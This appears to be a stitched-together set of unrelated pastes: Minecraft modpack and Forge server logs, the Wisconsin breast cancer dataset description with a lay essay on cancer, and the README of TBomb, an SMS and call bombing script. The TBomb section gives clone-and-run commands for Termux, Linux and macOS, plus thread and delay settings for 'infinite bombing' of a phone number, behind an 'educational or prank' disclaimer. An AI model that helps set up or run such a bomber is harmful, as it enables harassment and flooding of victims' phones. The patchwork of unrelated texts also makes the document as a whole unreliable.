[16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/tile/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/IC2 [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface Reika.RotaryCraft.API.Power.ShaftPowerReceiver from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Method Tick_RotaryCraft from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/RotaryCraft [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/tile/powersink/RedstoneFlux because RF integration is enabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface mekanism.api.energy.IStrictEnergyAcceptor from appeng/tile/powersink/MekJoules because Mekanism integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/MekJoules [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface powercrystals.minefactoryreloaded.api.rednet.connectivity.IRedNetConnection from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Method getConnectionType from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/quartz/ToolQuartzWrench because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/quartz/ToolQuartzWrench [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.ISpecialElectricItem from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.IElectricItemManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Method getManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/powered/powersink/IC2 [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyContainerItem from appeng/items/tools/powered/powersink/RedstoneFlux because RFItem integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/ToolNetworkTool because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/ToolNetworkTool [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/misc/PartStorageBus [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PItems [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySource from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PIC2Power [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/parts/p2p/PartP2PRFPower because RF integration is enabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Starting AE2 VersionChecker [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( ended after 4556ms ) [16/5/2015 18:50:48 PM] OpenEye: Sending pending crash report located at '**USERSDIR**\Instances\SkyFactory\reports\pending-crash-2015-05-14_21.47.10-0.json' [16/5/2015 18:50:48 PM] Checking for updated files! [16/5/2015 18:50:49 PM] OpenEye: Pending crash report sent! URL: http://openeye.openmods.info/commoncrash/oom [16/5/2015 18:50:55 PM] No updates found! [16/5/2015 19:05:04 PM] Copied Log to clipboard [16/5/2015 19:05:07 PM] Log uploaded and link copied to clipboard:
shishirdas
Content Past Usage: Attributes 2 through 10 have been used to represent instances. Each instance has one of 2 possible classes: benign or malignant. Wolberg,~W.~H., \& Mangasarian,~O.~L. (1990). Multisurface method of pattern separation for medical diagnosis applied to breast cytology. In {\it Proceedings of the National Academy of Sciences}, {\it 87}, 9193--9196. -- Size of data set: only 369 instances (at that point in time) -- Collected classification results: 1 trial only -- Two pairs of parallel hyperplanes were found to be consistent with 50% of the data -- Accuracy on remaining 50% of dataset: 93.5% -- Three pairs of parallel hyperplanes were found to be consistent with 67% of data -- Accuracy on remaining 33% of dataset: 95.9% Zhang,~J. (1992). Selecting typical instances in instance-based learning. In {\it Proceedings of the Ninth International Machine Learning Conference} (pp. 470--479). Aberdeen, Scotland: Morgan Kaufmann. -- Size of data set: only 369 instances (at that point in time) -- Applied 4 instance-based learning algorithms -- Collected classification results averaged over 10 trials -- Best accuracy result: -- 1-nearest neighbor: 93.7% -- trained on 200 instances, tested on the other 169 -- Also of interest: -- Using only typical instances: 92.2% (storing only 23.1 instances) -- trained on 200 instances, tested on the other 169 Relevant Information: Samples arrive periodically as Dr. Wolberg reports his clinical cases. The database therefore reflects this chronological grouping of the data. This grouping information appears immediately below, having been removed from the data itself: Group 1: 367 instances (January 1989) Group 2: 70 instances (October 1989) Group 3: 31 instances (February 1990) Group 4: 17 instances (April 1990) Group 5: 48 instances (August 1990) Group 6: 49 instances (Updated January 1991) Group 7: 31 instances (June 1991) Group 8: 86 instances (November 1991) Total: 699 points (as of the donated datbase on 15 July 1992) Note that the results summarized above in Past Usage refer to a dataset of size 369, while Group 1 has only 367 instances. This is because it originally contained 369 instances; 2 were removed. The following statements summarizes changes to the original Group 1's set of data: Group 1 : 367 points: 200B 167M (January 1989) Revised Jan 10, 1991: Replaced zero bare nuclei in 1080185 & 1187805 Revised Nov 22,1991: Removed 765878,4,5,9,7,10,10,10,3,8,1 no record : Removed 484201,2,7,8,8,4,3,10,3,4,1 zero epithelial : Changed 0 to 1 in field 6 of sample 1219406 : Changed 0 to 1 in field 8 of following sample: : 1182404,2,3,1,1,1,2,0,1,1,1 Number of Instances: 699 (as of 15 July 1992) Number of Attributes: 10 plus the class attribute Attribute Information: (class attribute has been moved to last column) Attribute Domain Sample code number id number Clump Thickness 1 - 10 Uniformity of Cell Size 1 - 10 Uniformity of Cell Shape 1 - 10 Marginal Adhesion 1 - 10 Single Epithelial Cell Size 1 - 10 Bare Nuclei 1 - 10 Bland Chromatin 1 - 10 Normal Nucleoli 1 - 10 Mitoses 1 - 10 Class: (2 for benign, 4 for malignant) Missing attribute values: 16 There are 16 instances in Groups 1 to 6 that contain a single missing (i.e., unavailable) attribute value, now denoted by "?". Class distribution: Benign: 458 (65.5%) Malignant: 241 (34.5%) Acknowledgements O. L. Mangasarian and W. H. Wolberg: "Cancer diagnosis via linear programming", SIAM News, Volume 23, Number 5, September 1990, pp 1 & 18. William H. Wolberg and O.L. Mangasarian: "Multisurface method of pattern separation for medical diagnosis applied to breast cytology", Proceedings of the National Academy of Sciences, U.S.A., Volume 87, December 1990, pp 9193-9196. O. L. Mangasarian, R. Setiono, and W.H. Wolberg: "Pattern recognition via linear programming: Theory and application to medical diagnosis", in: "Large-scale numerical optimization", Thomas F. Coleman and Yuying Li, editors, SIAM Publications, Philadelphia 1990, pp 22-30. K. P. Bennett & O. L. Mangasarian: "Robust linear programming discrimination of two linearly inseparable sets", Optimization Methods and Software 1, 1992, 23-34 (Gordon & Breach Science Publishers). Inspiration Rouse Tek Bio informatics Cytogenomics Project is an attempt to bring the human genome to the understanding of how cancers develop. All of our bodies are composed of cells. The human body has about 100 trillion cells within it. And usually those cells behave in a certain fashion. They observe certain rules, they divide when they’re told to divide, they’re quiescent when they’re told to remain dormant, they stay within a particular position within their tissue and they don’t move out of that. Occassionally however, a single cell, of those 100 trillion cells, behave in a different way. That cell keeps dividing when all its signals around it tell it to stop dividing. That cell ignores its counterparts around it and pushes them out of the way. That cell stops observing the rules of the tissue within which it is located and begins to move out of its normal position, invading into the tissues around it and sometimes entering the bloodstream and becoming a metastasis, depositing in another tissue of the body.. The reason the cell has gone rogue is because it has acquired within its genome, within its DNA, a number of abnormalities that cause it to behave as a cancer cell. All 100 trillion cells in the human body have got a copy of the human genome, they have 2 copies, 1 maternal, 1 paternal. Throughout Life all those copies of the genome in those 100 trillion cells, are acquiring abnormal changes or somatic mutations. These mutations are present in the cell and are not transmitted from parents to offspring. They are constrained to that individual cell. Those mutations occur in every cell of the body, normal and abnormal, for a number of different reasons. They occur because every time a cell divides possibly one letter of code out of 3 billion is replicated incorrectly. And that’s 1 source of somatic mutations. Another source is that our 100 trillion cells are being exposed to a number of different onslaughts like radiation, self generated chemicals from inhalation of things like tobacco smoke or even an unhealthy diet over time. Occasionally mechanisms in a particular cell make breakdown and the DNA of that cell begins to acquire somatic mutations rather more commonly than other cells. So in summary, every cell in the body acquires mutations throughout a lifetime, and as we get older we acquire more and more somatic mutations in which occasionally a particular type of gene is mutated where the protein that it makes is abnormal and drives the cell to behave in a rogue fashion that we call cancer.
Trickyabhi
Due misusing of TBomb, several API's died. Don't be afraid if you don't see all send messages. The script requires working network connection to work. No balance will be deducted for using this script to send SMS/calls. While doing infinite bombing use 2-3 seconds delay and 10 to 20 threads for maximum performance. Don't put spaces in between phone number (Ex- 99999 99999) Make sure you are using the latest version of TBomb Make sure you are using Python3. Here's how you can check it. Type this command in your terminal. $ python -V If output looks like Python 3 - Congrats, Python 3 is installed properly. Do not use this to harm others. This script is only for educational purposes or to prank. None of the developers/contributors are responsible for the misuse of TBomb. Features: Lots of integrated SMS/call APIs Unlimited (Limited against abusing) and super-fast bombing International bombing available (APIS Dead. Try Your Luck.) Call bombing Frequent updates Automatic updating mechanism Easy to use and embed in code Usage: Run these commands to run TBomb > For Termux: Notice: git installation methods are not universal and do differ between distributions, so, installing git as per instructions below may not work. Please check out how to install git for your Linux distribution. Commands below provide instructions for Debian-based systems. To use the bomber type the following commands in Termux: pkg install git pkg install python git clone https://github.com/QueenArzoo/TBomb.git cd TBomb chmod +x TBomb.sh ./TBomb.sh > For Linux: Notice: git installation methods are not universal and do differ between distributions, so, installing git as per instructions below may not work. Please check out how to install git for your Linux distribution. Commands below provide instructions for Debian-based systems. To use the bomber type the following commands in Linux terminal: sudo apt install git git clone https://github.com/QueenArzoo/TBomb.git cd TBomb chmod +x TBomb.sh sudo bash TBomb.sh > For macOS: To use the bomber type the following commands in macOS terminal: # Install Brew: /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" # Install dependencies: brew install git brew install python3 sudo easy_install pip sudo pip install --upgrade pip git clone https://github.com/QueenArzoo/TBomb.git cd TBomb chmod +x TBomb.sh # Missing Tools on MacOS Toilet cannot be installed yet. But TBomb does still work. # Run TBomb: sudo bash TBomb.sh
SilverYukiMoon
[14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Using primary tweak class name net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/DEBUG] [FML]: Injecting tracing printstreams for STDOUT/STDERR. [14:27:46] [main/INFO] [FML]: Forge Mod Loader version 14.23.5.2847 for Minecraft 1.12.2 loading [14:27:46] [main/INFO] [FML]: Java is OpenJDK 64-Bit Server VM, version 1.8.0_232, running on Linux:amd64:4.4.0-154-generic, installed at /usr/local/openjdk-8/jre [14:27:46] [main/DEBUG] [FML]: Java classpath at launch is: [14:27:46] [main/DEBUG] [FML]: forge.jar [14:27:46] [main/DEBUG] [FML]: Java library path at launch is: [14:27:46] [main/DEBUG] [FML]: /usr/java/packages/lib/amd64 [14:27:46] [main/DEBUG] [FML]: /usr/lib64 [14:27:46] [main/DEBUG] [FML]: /lib64 [14:27:46] [main/DEBUG] [FML]: /lib [14:27:46] [main/DEBUG] [FML]: /usr/lib [14:27:46] [main/DEBUG] [FML]: Determined Minecraft Libraries Root: /aternos/server/libraries [14:27:46] [main/DEBUG] [FML]: Cleaning up mods folder: ./mods [14:27:46] [main/DEBUG] [FML]: Examining file: animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: wings-1.1.6-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Examining file: BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: CTM-MC1.12.2-1.0.1.30.jar [14:27:46] [main/DEBUG] [FML]: Examining file: bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Examining file: iceandfire-1.8.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Examining file: Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for its_meow.claimit:claimit:1.12.2-1.2.0:api in memory to /aternos/server/./mods/claimitapi-1.12.2-1.2.0.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for its_meow.claimit:claimit:1.12.2-1.2.0 in memory to /aternos/server/./mods/claimit-1.12.2-1.2.0.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Examining file: horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Examining file: JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Examining file: mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining file: malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: llibrary-1.7.19-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Found existing ContainedDep llibrary-core-1.0.11-1.12.2.jar(net.ilexiconn:llibrary-core:1.0.11-1.12.2) from /aternos/server/mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar extracted to ./mods/llibrary-1.7.19-1.12.2.jar, skipping extraction [14:27:46] [main/DEBUG] [FML]: Examining file: llibrary-core-1.0.11-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for net.ilexiconn:llibrary:1.7.19-1.12.2 in memory to /aternos/server/./mods/llibrary-1.7.19-1.12.2.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Examining file: betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/claimitapi-1.12.2-1.2.0.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/claimit-1.12.2-1.2.0.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/llibrary-1.7.19-1.12.2.jar, Skipping [14:27:46] [main/DEBUG] [FML]: Enabling runtime deobfuscation [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class FMLCorePlugin [14:27:46] [main/WARN] [FML]: The coremod FMLCorePlugin (net.minecraftforge.fml.relauncher.FMLCorePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Added access transformer class net.minecraftforge.fml.common.asm.transformers.AccessTransformer to enqueued access transformers [14:27:46] [main/DEBUG] [FML]: Enqueued coremod FMLCorePlugin [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class FMLForgePlugin [14:27:46] [main/WARN] [FML]: The coremod FMLForgePlugin (net.minecraftforge.classloading.FMLForgePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod FMLForgePlugin [14:27:46] [main/DEBUG] [FML]: All fundamental core mods are successfully located [14:27:46] [main/DEBUG] [FML]: Discovering coremods [14:27:46] [main/INFO] [FML]: Searching /aternos/server/./mods for mods [14:27:46] [main/DEBUG] [FML]: Adding animania-1.12.2-1.7.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding wings-1.1.6-1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SereneSeasons-1.12.2-1.2.18-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding jei_1.12.2-4.15.0.292.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding BackTools-1.12.2-7.0.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding DragonMounts2-1.12.2-1.6.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding CTM-MC1.12.2-1.0.1.30.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding bookworm-1.12.2-2.3.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding zawa-1.12.2-1.7.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding ExtraGems-1.12.2-(v.1.2.8).jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding iceandfire-1.8.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding creature_whisperer_1.0.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding ultimate_unicorn_mod-1.12.2-1.5.16.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding Instant Massive Structures Mod 1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding landmanager-1.12.2-1.4.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding claimitapi-1.12.2-1.2.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding iChunUtil-1.12.2-7.2.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding claimit-1.12.2-1.2.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding techguns-1.12.2-2.0.2.0_pre3.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding spartanfire-0.07.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding horse_colors-1.12.2-1.0.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding torohealth-1.12.2-11.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding JustEnoughResources-1.12.2-0.9.2.60.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SpartanWeaponry-1.12.2-beta-1.3.8.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding mowziesmobs-1.5.4.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SpartanShields-1.12.2-1.5.4.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding malisiscore-1.12.2-6.5.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding malisisdoors-1.12.2-7.3.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding llibrary-1.7.19-1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding colorchat-1.12.1-2.0.43-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding k4lib-1.12.1-2.1.81-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding TeamUp-1.1.3-1.12.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding betteranimalsplus-1.12.2-8.0.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy CTM-MC1.12.2-1.0.1.30.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in CTM-MC1.12.2-1.0.1.30.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class CTMCorePlugin [14:27:46] [main/WARN] [FML]: The coremod team.chisel.ctm.client.asm.CTMCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod CTMCorePlugin (team.chisel.ctm.client.asm.CTMCorePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod CTMCorePlugin [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy iceandfire-1.8.3.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in iceandfire-1.8.3.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class IceAndFirePlugin [14:27:46] [main/TRACE] [FML]: coremod named iceandfire is loading [14:27:46] [main/DEBUG] [FML]: The coremod com.github.alexthe666.iceandfire.asm.IceAndFirePlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod iceandfire (com.github.alexthe666.iceandfire.asm.IceAndFirePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod iceandfire [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/INFO] [FML]: Loading tweaker org.spongepowered.asm.launch.MixinTweaker from malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in SereneSeasons-1.12.2-1.2.18-universal.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class SSLoadingPlugin [14:27:46] [main/WARN] [FML]: The coremod sereneseasons.asm.SSLoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod SSLoadingPlugin (sereneseasons.asm.SSLoadingPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod SSLoadingPlugin [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in techguns-1.12.2-2.0.2.0_pre3.1.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] 